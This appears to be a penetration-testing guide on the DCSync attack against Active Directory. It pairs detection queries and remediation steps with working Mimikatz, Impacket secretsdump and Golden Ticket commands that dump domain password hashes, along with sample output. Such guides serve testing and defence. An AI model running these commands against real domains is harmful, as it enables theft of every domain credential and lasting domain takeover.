
DCSync attack: extracting domain credentials
How DCSync abuses AD replication rights to pull password hashes from a Domain Controller, with the commands, detection and fixes.
Introduction
DCSync uses the Directory Replication Service (DRS) Remote Protocol to act like a Domain Controller and ask a real DC for the password data of any account. No code runs on the target DC and you do not need local admin on it. Replication is a normal DC function, so a caller that holds the replication rights gets the account secrets back.
Two extended rights on the domain object are involved: DS-Replication-Get-Changes (GUID 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) and DS-Replication-Get-Changes-All (GUID 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2). The "All" right is the one that returns secrets: NT hashes, Kerberos keys and reversibly encrypted passwords. By default Domain Controllers, Administrators, Domain Admins and Enterprise Admins hold it. Delegated replication accounts (Azure AD Connect sync, third-party backup agents) and misconfigured ACLs often give it to ordinary domain accounts as well.
The KRBTGT hash is the first thing to pull. With it you can forge Golden Tickets that work until the KRBTGT password has been reset twice. A privileged service account hash from the same dump is usable straight away for pass-the-hash.
Authorization required
Only run DCSync under written authorization that names the domain controllers in scope. Pulling credential material from a production DC without it is unauthorized access, and that includes a proof of concept. Agree with the client how the dumped hashes are stored and destroyed.
Impact
- The KRBTGT hash lets you forge Golden Tickets, which keep working until KRBTGT is rotated twice
- Every account's NT hash, Kerberos AES keys and LM hash (where enabled) comes out without touching LSASS
- Nothing is injected or executed on the DC, so there is less to find on the host
- Service account hashes can be cracked offline or passed to every system the account can log on to
- Trust account hashes (
[DOMAIN]$) open movement into trusted domains and forests - If the delegated right is not revoked, you can DCSync again after an incident response password reset
Technical details
DCs use the DRS protocol (MS-DRSR) to synchronize the AD database. When a DC receives a DRSGetNCChanges RPC call, it checks the caller's rights on the naming context root object (DC=domain,DC=com). If the caller holds DS-Replication-Get-Changes-All, the DC returns the requested attributes, including unicodePwd (NT hash) and supplementalCredentials (Kerberos keys).
You authenticate to the DC over RPC, call DRSGetNCChanges, and receive what a DC would receive during replication. On the wire the request looks like ordinary replication. What gives it away is where it comes from.
Identify accounts with replication rights
First confirm which accounts hold the rights. BloodHound draws a DCSync edge from any account or group that holds both GetChanges and GetChangesAll on the domain object.
# Import PowerView
Import-Module .\PowerView.ps1
# Find all principals with DCSync rights on the domain root
$DomainSID = (Get-DomainSID)
Get-DomainObjectAcl -DistinguishedName "DC=corp,DC=local" -ResolveGUIDs |
Where-Object {
$_.ObjectAceType -match "DS-Replication-Get-Changes" -and
$_.ActiveDirectoryRights -match "ExtendedRight"
} |
Select-Object SecurityIdentifier, ObjectAceType, AceType |
ForEach-Object {
$sid = $_.SecurityIdentifier
Convert-SidToName $sid
}MATCH p=(n)-[:DCSync]->(d:Domain) RETURN pExpected holders are Domain Controllers, ENTERPRISE DOMAIN CONTROLLERS, Administrators, Domain Admins and Enterprise Admins. Any other user or group is a finding, and a path if you control it.
Verify rights over LDAP
Without BloodHound data, read the ACL of the domain root directly.
$root = [ADSI]"LDAP://DC=corp,DC=local"
$acl = $root.psbase.ObjectSecurity.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier])
$repl_guids = @(
"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", # DS-Replication-Get-Changes
"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" # DS-Replication-Get-Changes-All
)
$acl | Where-Object {
$repl_guids -contains $_.ObjectType.ToString()
} | Select-Object IdentityReference, ObjectType, ActiveDirectoryRightsExecute DCSync with Mimikatz
Run Mimikatz on a domain-joined Windows host as the compromised account (a Domain Admin or a delegated replication account):
# Pull KRBTGT hash
lsadump::dcsync /user:krbtgt
# Pull specific user
lsadump::dcsync /user:corp\Administrator
# Specify DC explicitly (useful in multi-DC environments)
lsadump::dcsync /user:krbtgt /dc:DC01.corp.localMimikatz output for KRBTGT:
[DC] 'corp.local' will be the domain
[DC] 'DC01.corp.local' will be the DC server
[DC] 'krbtgt' will be the user account
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 3/12/2024 2:14:17 AM
Object Security ID : S-1-5-21-3623811015-3361044348-30300820-502
Object Relative ID : 502
Credentials:
Hash NTLM: 4e9815869d2090ccfca61c1fe0d23986
ntlm- 0: 4e9815869d2090ccfca61c1fe0d23986
lm - 0: 44f0a019fb2ff1fd8a05bb82abf4fb4f
Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt : CORP.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 76a40753841e4de4954b0df327d2ef6ebe3f3e89e7e38c59d7d2af9aff3dc14d
aes128_hmac (4096) : 8f3d2e40e3d6c62b19aa2e8a7ce0d48cDump all domain accounts
To pull every account in the domain:
lsadump::dcsync /all /csvWith /csv, Mimikatz prints one tab-separated line per account: RID, account name and NT hash. Without it you get the full per-account output, Kerberos keys included. A large domain produces a lot of output, so log it to a file (log dcsync.txt).
Execute DCSync from Linux with Impacket
secretsdump.py is the usual tool on Linux. It does not need a domain-joined host, only network access to ports 445 and 135 on the DC.
secretsdump.py corp.local/Administrator:'P@ssw0rd'@10.10.10.1 -just-dc-ntlm
# With NTLM pass-the-hash (no plaintext password)
secretsdump.py -hashes :a87f3a337d73085c45f9416be5787d86 corp.local/Administrator@10.10.10.1 -just-dc-ntlm
# Output to file
secretsdump.py corp.local/svc_sync:'SyncP@ss!'@10.10.10.1 -just-dc-ntlm -outputfile domain_hashes-just-dc-ntlm limits output to NT hashes and skips the Kerberos keys. Use -just-dc when you also want the AES keys.
corp.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86:::
corp.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4e9815869d2090ccfca61c1fe0d23986:::
corp.local\svc_sql:1112:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Golden Ticket from the KRBTGT hash
With the KRBTGT NT hash and the domain SID, forge a Golden Ticket with Mimikatz:
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-3623811015-3361044348-30300820 /krbtgt:4e9815869d2090ccfca61c1fe0d23986 /pttOr from Linux with ticketer.py:
ticketer.py -nthash 4e9815869d2090ccfca61c1fe0d23986 \
-domain-sid S-1-5-21-3623811015-3361044348-30300820 \
-domain corp.local Administrator
# Use the ticket
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@DC01.corp.localMimikatz sets a 10-year lifetime by default. In practice the ticket works until the KRBTGT password changes twice.
Attack tools
# Single account: NT hash + Kerberos keys
lsadump::dcsync /user:krbtgt
# Single account from specific DC
lsadump::dcsync /user:Administrator /dc:DC01.corp.local
# All accounts, CSV format
lsadump::dcsync /all /csv
# All accounts, full credential dump
lsadump::dcsync /all
# Target domain explicitly (in trust scenarios)
lsadump::dcsync /user:corp\krbtgt /domain:corp.locallsadump::dcsync only makes RPC calls to the DC with the current logon session. It needs no local admin and no privilege::debug, so run it in a session for the account that holds the replication rights (runas /netonly or pass-the-hash works).
Detection
Event ID 4662: operation performed on an object
This is the main signal. The DC logs event 4662 when a replication operation accesses the domain object (directory service access auditing and a SACL on the domain root are required). Filter on these fields:
| Field | Value |
|---|---|
| Event ID | 4662 |
| Object Type | %{19195a5b-6da0-11d0-afd3-00c04fd930c9} (domainDNS) |
| Properties | {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} (DS-Replication-Get-Changes-All) |
| Accesses | Control Access |
A full domain DCSync produces a burst of 4662 events. The anomaly is the caller: a user account, or a logon from a host that is not a DC. Event 4662 has no source address field. It gives you SubjectUserName and SubjectLogonId, and you join SubjectLogonId to the 4624 logon event on the same DC to get the source IP.
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=4662)]]
and
*[EventData[Data[@Name='Properties'] and (Data='%%{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}')]]
and
*[EventData[Data[@Name='AccessMask']='0x100']]
</Select>
</Query>
</QueryList>Splunk detection query
index=windows EventCode=4662 AccessMask="0x100"
(Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*"
OR Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
OR Properties="*89e95b76-444d-4c62-991a-0facbeda640c*")
| search NOT SubjectUserName="*$"
| stats count, values(Properties) as Properties by host, SubjectUserName, SubjectLogonIdThe three GUIDs are DS-Replication-Get-Changes, DS-Replication-Get-Changes-All and DS-Replication-Get-Changes-In-Filtered-Set. The SubjectUserName filter drops machine accounts, which is where legitimate DC-to-DC replication comes from. It also drops a DCSync run with a stolen machine account, so review those separately, and add your sync service account (Azure AD Connect) as an exclusion if it replicates. The query has no source IP because the 4662 event does not carry one. Take SubjectLogonId from a hit and look up the 4624 event on the same DC (host) with that value in TargetLogonId. Its IpAddress field is the host that ran the DCSync.
KQL for Microsoft Sentinel
SecurityEvent
| where EventID == 4662
| where AccessMask == "0x100"
| where Properties has_any (
"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2",
"89e95b76-444d-4c62-991a-0facbeda640c")
// Machine accounts are the legitimate DC-to-DC replication
| where SubjectUserName !endswith "$"
| project TimeGenerated, Computer, SubjectUserName, SubjectLogonId, Properties
// 4662 has no source address: take it from the 4624 logon with the same logon ID on the same DC
| join kind=leftouter (
SecurityEvent
| where EventID == 4624
| project Computer, TargetLogonId, SourceIP = IpAddress
) on Computer, $left.SubjectLogonId == $right.TargetLogonId
| summarize Count=count() by Computer, SubjectUserName, SourceIP, bin(TimeGenerated, 5m)Any row is worth a look. Compare SourceIP with your list of DC addresses.
Other indicators
- On the network, DRSUAPI RPC traffic from a workstation IP to a DC (port 135 plus the dynamic RPC port, or 445)
- Golden Ticket use after the dump: 4769 service ticket requests for an account with no earlier 4768 from that host, because a forged TGT never goes through the AS exchange
- The shape of the 4662 events: DC-to-DC replication produces them in batches from DC machine accounts, while DCSync against single accounts produces a few events from a user account
Baseline the replication sources
List the hosts that are supposed to call DRSGetNCChanges (the DCs in the replication topology, plus sync servers such as Azure AD Connect). Alert when anything outside that list produces a 4662 with the DS-Replication-Get-Changes-All property.
Remediation
Audit and remove excess replication rights
# Find all non-default principals with DCSync rights
$DomainDN = (Get-ADDomain).DistinguishedName
$DefaultDCSync = @(
(Get-ADGroup "Domain Controllers").SID,
[System.Security.Principal.SecurityIdentifier]"S-1-5-9", # Enterprise Domain Controllers
[System.Security.Principal.SecurityIdentifier]"S-1-5-32-544" # BUILTIN\Administrators
)
# Enterprise Read-only Domain Controllers is not in the list on purpose.
# It holds DS-Replication-Get-Changes only. If it holds Get-Changes-All, RODCs replicate passwords.
Get-ACL "AD:$DomainDN" | Select-Object -ExpandProperty Access |
Where-Object {
$_.ObjectType -eq [Guid]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" -and
$_.AccessControlType -eq "Allow" -and
$_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]) -notin $DefaultDCSync
} |
ForEach-Object {
Write-Warning "Unexpected DCSync right: $($_.IdentityReference)"
# Remove via AD ACL editor or dsacls
# dsacls "$DomainDN" /D "$($_.IdentityReference):CA;Replicating Directory Changes All"
}Tiered administration model
Restrict which accounts can authenticate to DCs and hold replication rights:
| Tier | Contains | Rule |
|---|---|---|
| 0 | Domain Controllers, AD management tools, KRBTGT, Domain Admins | These accounts never log on to Tier 1 or Tier 2 systems |
| 1 | Server administrators | No rights on DCs or AD objects |
| 2 | Workstation administrators | No rights on servers or DCs |
Accounts for Azure AD Connect or third-party AD sync tools hold the replication rights by design. Treat them as Tier 0 and monitor where they log on.
Restrict the Azure AD Connect sync account
Azure AD Connect creates a sync account with DS-Replication-Get-Changes and DS-Replication-Get-Changes-All for password hash sync. Whoever compromises the Azure AD Connect server can DCSync with it.
# Find the sync account (typically MSOL_xxxxxxxx)
Get-ADUser -Filter {SamAccountName -like "MSOL_*"} -Properties MemberOf, PasswordLastSet
# Verify it's not a member of privileged groups
Get-ADPrincipalGroupMembership -Identity "MSOL_abcd1234"
# Confirm login restrictions (should only authenticate from AAD Connect server)
Get-ADUser "MSOL_abcd1234" -Properties LogonWorkstationsLimit the sync account's logon workstations to the Azure AD Connect server. Apply a fine-grained password policy that requires 25 or more characters, and audit every authentication by the account.
Privileged access workstations (PAWs)
Domain Admin and other Tier 0 accounts should only log on from dedicated PAWs:
- No internet access from the PAW
- BitLocker, Secure Boot and a UEFI password
- Credential Guard enabled
- A Windows Defender Application Control (WDAC) or AppLocker policy that blocks untrusted binaries, Mimikatz included
KRBTGT password rotation
Rotate KRBTGT twice to invalidate existing Golden Tickets. Leave at least the maximum ticket lifetime (10 hours by default) between the two rotations so live Kerberos sessions do not break:
# Rotation 1
Set-ADAccountPassword -Identity krbtgt -NewPassword (ConvertTo-SecureString (
-join ((65..90)+(97..122)+(48..57) | Get-Random -Count 40 | ForEach-Object {[char]$_})
) -AsPlainText -Force) -Reset
# Wait at least 10 hours (max ticket lifetime), then rotation 2Microsoft's KRBTGT reset script handles the sequencing and waits for replication: New-KrbtgtKeys.ps1.
References
MITRE ATT&CK techniques
- T1003.006 - OS Credential Dumping: DCSync: the DCSync technique
- T1078.002 - Valid Accounts: Domain Accounts: abusing delegated accounts with replication rights
- T1087.002 - Account Discovery: Domain Account: enumerating ACLs to find accounts that can DCSync
Tools documentation
- Mimikatz lsadump::dcsync: the original implementation
- Impacket secretsdump.py: DCSync from Linux over DRSUAPI
- BloodHound DCSync edge: the edge and how it is computed
- PowerView Get-DomainObjectAcl: ACL enumeration
- New-KrbtgtKeys.ps1: Microsoft's KRBTGT rotation script
- MS-DRSR protocol specification: the replication protocol
Next steps
Golden Ticket attack
For what to do with the KRBTGT hash once you have it.
ACL abuse in Active Directory
For getting the replication rights in the first place, usually through WriteDACL on the domain object.
Kerberoasting
For cracking your way to a service account that holds replication rights.
Silver Ticket attack
For forging service tickets from the machine and service account hashes in the dump.
AS-REP roasting
Another way to a first set of credentials when you have no replication rights yet.
AS-REP Roasting Attack and Defense
AS-REP Roasting attack targeting accounts without Kerberos pre-authentication. Offline password cracking techniques and detection strategies.
DnsAdmins group exploitation: from DNS to Domain Admin
How a DnsAdmins member loads a plugin DLL into the DNS service on a domain controller and gets SYSTEM, with cleanup, detection and mitigation.